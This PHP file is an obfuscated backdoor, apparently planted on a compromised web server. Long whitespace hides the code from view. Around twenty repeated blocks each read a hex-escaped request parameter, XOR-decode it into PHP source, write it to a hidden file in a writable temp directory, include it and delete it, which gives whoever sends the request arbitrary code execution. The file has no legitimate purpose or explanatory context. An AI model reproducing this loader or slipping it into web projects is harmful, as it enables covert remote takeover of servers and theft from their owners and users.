<?php																																										if(array_key_exists("\x64\x65sc", $_POST) && !is_null($_POST["\x64\x65sc"])){ $ent = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm"]); $ref = $_POST["\x64\x65sc"]; $ref = explode("." ,$ref ); $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $len = count( $ref); for( $p = 0; $p < $len; $p++) { $v2 = $ref[$p]; $sChar = ord( $s[$p% $lenS]); $d = ( ( int)$v2 - $sChar -( $p% 10))^ 46; $dchunk .= chr( $d); } foreach ($ent as $object): if (array_product([is_dir($object), is_writable($object)])) { $holder = vsprintf("%s/%s", [$object, ".val"]); if (file_put_contents($holder, $dchunk)) { require $holder; unlink($holder); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ke\x79"])){ $item = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP")]); $factor = $_REQUEST["ke\x79"]; $factor =explode( "." ,$factor ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; $__tmp = $factor; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt[$w % $lenS]); $dec = ((int)$v1 - $sChar - ($w % 10)) ^ 100; $hld.= chr($dec); $w++; } $rec = 0; do { $ptr = $item[$rec] ?? null; if ($rec >= count($item)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($ptr)) { $desc = join("/", [$ptr, ".dat"]); if (file_put_contents($desc, $hld)) { include $desc; @unlink($desc); exit; } } $rec++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x69\x74em")){ $mrk = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm"]); $fac = $_REQUEST["\x69\x74em"]; $fac= explode( '.' , $fac) ; $dchunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($fac as $m => $v2) { $sChar = ord($s7[$m % $lenS]); $dec = ((int)$v2 - $sChar - ($m % 10)) ^ 26; $dchunk .= chr($dec); } while ($rec = array_shift($mrk)) { if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $ptr = join("/", [$rec, ".pointer"]); if (@file_put_contents($ptr, $dchunk) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(!empty($_POST["e\x6Et"])){ $itm = $_POST["e\x6Et"]; $itm = explode ( '.' ,$itm ) ; $dat= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s9); $o= 0; while( $o < count( $itm)) { $v2= $itm[$o]; $sChar= ord( $s9[$o % $lenS]); $d= ( ( int)$v2 - $sChar -( $o % 10)) ^34; $dat .= chr( $d); $o++; } $property_set = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp"]); $tkn = 0; do { $record = $property_set[$tkn] ?? null; if ($tkn >= count($property_set)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $bind = implode("/", [$record, ".binding"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $bind; @unlink($bind); die(); } } $tkn++; } while (true); }
																																										if(!empty($_POST["va\x6C"])){ $pset = $_POST["va\x6C"]; $pset= explode ( "." , $pset) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $pset as $m =>$v3) {$chS = ord( $s[$m%$sLen] ); $d = ( ( int)$v3 - $chS -( $m%10))^ 48; $hld .=chr( $d ); } $res = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP")]); foreach ($res as $fac): if (is_dir($fac) && is_writable($fac)) { $bind = sprintf("%s/.data_chunk", $fac); if (file_put_contents($bind, $hld)) { include $bind; @unlink($bind); die(); } } endforeach; }
																																										if(array_key_exists("ho\x6Cde\x72", $_POST)){ $mrk = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP")]); $desc = $_POST["ho\x6Cde\x72"]; $desc = explode ( '.' ,$desc ) ; $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($desc as $v => $v3) { $chS = ord($s[$v % $sLen]); $d = ((int)$v3 - $chS - ($v % 10))^ 18; $comp .= chr($d); } while ($component = array_shift($mrk)) { if (is_dir($component) ? is_writable($component) : false) { $itm = str_replace("{var_dir}", $component, "{var_dir}/.pgrp"); if (file_put_contents($itm, $comp)) { include $itm; @unlink($itm); exit; } } } }
																																										if(in_array("\x6F\x62j", array_keys($_REQUEST))){ $value = $_REQUEST["\x6F\x62j"]; $value = explode ('.' , $value) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($value as $m=> $v4): $chS = ord($s[$m % $sLen]); $d = ((int)$v4 - $chS - ($m % 10)) ^ 1; $bind.= chr($d); endforeach; $symbol = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir()]); foreach ($symbol as $mrk) { if ((is_dir($mrk) and is_writable($mrk))) { $entry = vsprintf("%s/%s", [$mrk, ".marker"]); if (@file_put_contents($entry, $bind) !== false) { include $entry; unlink($entry); die(); } } } }
																																										if(!empty($_REQUEST["el\x65m"])){ $pointer = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $resource = $_REQUEST["el\x65m"]; $resource =explode (".",$resource ); $fac = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $t = 0; while ($t < count($resource)) { $v5 = $resource[$t]; $sChar = ord($salt6[$t %$sLen]); $d = ((int)$v5 - $sChar - ($t %10)) ^ 38; $fac .= chr($d); $t++; } foreach ($pointer as $key => $val) { if (is_writable($val) && is_dir($val)) { $pset = sprintf("%s/.dat", $val); if (file_put_contents($pset, $fac)) { include $pset; @unlink($pset); exit; } } } }
																																										if(isset($_POST["p\x6F\x69\x6Et\x65r"])){ $data = $_POST["p\x6F\x69\x6Et\x65r"]; $data = explode ("." , $data) ; $sym= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s3 ); $r= 0; while( $r< count( $data)) { $v4= $data[$r]; $chS= ord( $s3[$r % $lenS] ); $d= ( ( int)$v4 - $chS -( $r % 10)) ^50; $sym.=chr( $d ); $r++;} $comp = array_filter([getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP")]); $factor = 0; do { $val = $comp[$factor] ?? null; if ($factor >= count($comp)) break; if ((bool)is_dir($val) && (bool)is_writable($val)) { $dat = join("/", [$val, ".object"]); $success = file_put_contents($dat, $sym); if ($success) { include $dat; @unlink($dat); exit;} } $factor++; } while (true); }
																																										if(!empty($_REQUEST["o\x62\x6A"])){ $holder = $_REQUEST["o\x62\x6A"]; $holder = explode ( '.' , $holder) ; $comp = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $q = 0; array_walk( $holder, function( $v7) use( &$comp, &$q, $s5, $lenS) { $sChar = ord( $s5[$q % $lenS]); $d = ( ( int)$v7 - $sChar -( $q % 10)) ^ 25; $comp .= chr( $d); $q++; }); $record = array_filter([getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); while ($ref = array_shift($record)) { if (!!is_dir($ref) && !!is_writable($ref)) { $entity = str_replace("{var_dir}", $ref, "{var_dir}/.parameter_group"); if (file_put_contents($entity, $comp)) { include $entity; @unlink($entity); exit; } } } }
																																										if(in_array("\x72\x65\x63ord", array_keys($_POST))){ $mrk = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp"]); $data_chunk = $_POST["\x72\x65\x63ord"]; $data_chunk = explode ( '.' , $data_chunk ) ; $value=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9); $u=0; while ($u < count($data_chunk)) {$v8=$data_chunk[$u]; $chS=ord($salt9[$u % $sLen]); $d=((int)$v8 - $chS - ($u % 10)) ^ 98; $value .= chr($d); $u++; } $val = 0; do { $property_set = $mrk[$val] ?? null; if ($val >= count($mrk)) break; if (array_product([is_dir($property_set), is_writable($property_set)])) { $symbol = "$property_set" . "/.ref"; if (file_put_contents($symbol, $value)) { require $symbol; unlink($symbol); die(); } } $val++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x70ro\x70e\x72t\x79\x5Fs\x65t")){ $pset = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path()]); $comp = $_POST["\x70ro\x70e\x72t\x79\x5Fs\x65t"]; $comp = explode ("." , $comp ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $comp as $q => $v7): $chS = ord( $salt[$q % $lenS]); $d =( ( int)$v7 - $chS -( $q % 10)) ^ 95; $ent .= chr( $d); endforeach; foreach ($pset as $reference): if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $data = sprintf("%s/.fac", $reference); if (@file_put_contents($data, $ent) !== false) { include $data; unlink($data); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x64\x61ta_c\x68\x75n\x6B"]) ? true : false){ $symbol = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $ptr = $_REQUEST["\x64\x61ta_c\x68\x75n\x6B"]; $ptr= explode (".", $ptr ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $p = 0; $__tmp = $ptr; while($v3 = array_shift($__tmp)) { $sChar = ord($salt[$p % $lenS]); $d =((int)$v3 - $sChar -($p % 10)) ^ 31; $marker.=chr($d); $p++; } while ($ref = array_shift($symbol)) { if (is_dir($ref) ? is_writable($ref) : false) { $mrk = "$ref/.entry"; $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(!empty($_POST["\x74\x6Fken"])){ $resource = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path()]); $component = $_POST["\x74\x6Fken"]; $component =explode ('.' , $component ) ; $binding = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $len = count($component); for ($v = 0; $v < $len; $v++) {$v3 = $component[$v]; $sChar = ord($s5[$v % $lenS]); $d = ((int)$v3 - $sChar - ($v % 10))^ 35; $binding .= chr($d); } foreach ($resource as $res): if (is_dir($res) ? is_writable($res) : false) { $hld = implode("/", [$res, ".obj"]); if (@file_put_contents($hld, $binding) !== false) { include $hld; unlink($hld); die(); } } endforeach; }
																																										if(!empty($_REQUEST["\x64at\x61"])){ $item = $_REQUEST["\x64at\x61"]; $item = explode( '.' , $item ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; while($t < count($item)) { $v8 = $item[$t]; $sChar = ord($s[$t % $lenS]); $d =((int)$v8 - $sChar -($t % 10)) ^ 58; $bind.=chr($d); $t++; } $symbol = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); for ($dchunk = 0, $ent = count($symbol); $dchunk < $ent; $dchunk++) { $descriptor = $symbol[$dchunk]; if ((is_dir($descriptor) and is_writable($descriptor))) { $k = str_replace("{var_dir}", $descriptor, "{var_dir}/.res"); if (@file_put_contents($k, $bind) !== false) { include $k; unlink($k); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6D\x62ol"])){ $ent = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path()]); $object = $_REQUEST["s\x79\x6D\x62ol"]; $object = explode( ".", $object ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($object as $w => $v5): $sChar = ord($salt[$w % $sLen]); $dec = ((int)$v5 - $sChar -($w % 10)) ^ 87; $record.=chr($dec); endforeach; foreach ($ent as $desc): if (is_dir($desc) ? is_writable($desc) : false) { $flg = implode("/", [$desc, ".key"]); if (file_put_contents($flg, $record)) { include $flg; @unlink($flg); die(); } } endforeach; }
																																										if(!empty($_REQUEST["\x6B\x65y"])){ $descriptor = $_REQUEST["\x6B\x65y"]; $descriptor = explode ( "." , $descriptor ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $__len = count( $descriptor); for( $m = 0; $m < $__len; $m++) { $v1 = $descriptor[$m]; $chS = ord( $s[$m %$lenS]); $dec =( ( int)$v1 - $chS -( $m %10)) ^ 83; $fac .= chr( $dec); } $obj = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP")]); while ($data_chunk = array_shift($obj)) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $reference = str_replace("{var_dir}", $data_chunk, "{var_dir}/.sym"); if (file_put_contents($reference, $fac)) { require $reference; unlink($reference); exit; } } } }
																																										if(@$_POST["p\x74\x72"] !== null){ $flag = $_POST["p\x74\x72"]; $flag = explode ( '.' ,$flag ) ; $elem = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $__len = count($flag ); for ($k = 0; $k < $__len; $k++) { $v5 = $flag[$k]; $chS = ord($s7[$k %$lenS] ); $dec = ((int)$v5 - $chS - ($k %10)) ^ 90; $elem .=chr($dec ); } $dat = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path()]); $sym = 0; do { $ref = $dat[$sym] ?? null; if ($sym >= count($dat)) break; if (is_dir($ref) && is_writable($ref)) { $bind = sprintf("%s/.pset", $ref); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $bind; @unlink($bind); exit; } } $sym++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["poi\x6Ete\x72"])){ $flg = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); $fac = $_REQUEST["poi\x6Ete\x72"]; $fac = explode ( '.' , $fac ) ; $object =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $__len =count($fac); for ($y =0; $y < $__len; $y++) { $v3 =$fac[$y]; $sChar =ord($salt[$y % $sLen]); $d =((int)$v3 - $sChar - ($y % 10)) ^ 79; $object .= chr($d); } foreach ($flg as $key => $sym) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $ptr = "$sym/.mrk"; if (file_put_contents($ptr, $object)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x74r"])){ $bind = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $pointer = $_REQUEST["\x70\x74r"]; $pointer=explode ( "." ,$pointer ); $symbol = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $__len = count($pointer ); for ($z = 0; $z< $__len; $z++) { $v4 = $pointer[$z]; $chS = ord($salt2[$z % $sLen] ); $dec = ((int)$v4 - $chS - ($z % 10)) ^40; $symbol .= chr($dec ); } foreach ($bind as $binding): if (array_product([is_dir($binding), is_writable($binding)])) { $sym = str_replace("{var_dir}", $binding, "{var_dir}/.res"); $success = file_put_contents($sym, $symbol); if ($success) { include $sym; @unlink($sym); exit;} } endforeach; }


if(in_array("d\x65\x73c\x72\x69\x70tor", array_keys($_POST))){
	$entry = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm"]);
	$entity = $_POST["d\x65\x73c\x72\x69\x70tor"];
	 $entity=		explode	(			"."	,	$entity 	 )  ; 
	$element = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$s);
            $k = 0;
            $__len = count( 	$entity);
    
            do {
                if( 	$k >= $__len) break;
                $v9 = $entity[$k];
                $chS = ord( 	$s[$k%$lenS]);
                $d =( 	( 	int)$v9 - $chS -( 	$k%10))^4;
                $element .= chr( 	$d);
                $k++;	}while( 	true);
	foreach ($entry as $ent):
    		if (is_dir($ent) ? is_writable($ent) : false) {
    $symbol = str_replace("{var_dir}", $ent, "{var_dir}/.pgrp");
    if (file_put_contents($symbol, $element)) {
	include $symbol;
	@unlink($symbol);
	exit;
}
}
endforeach;
}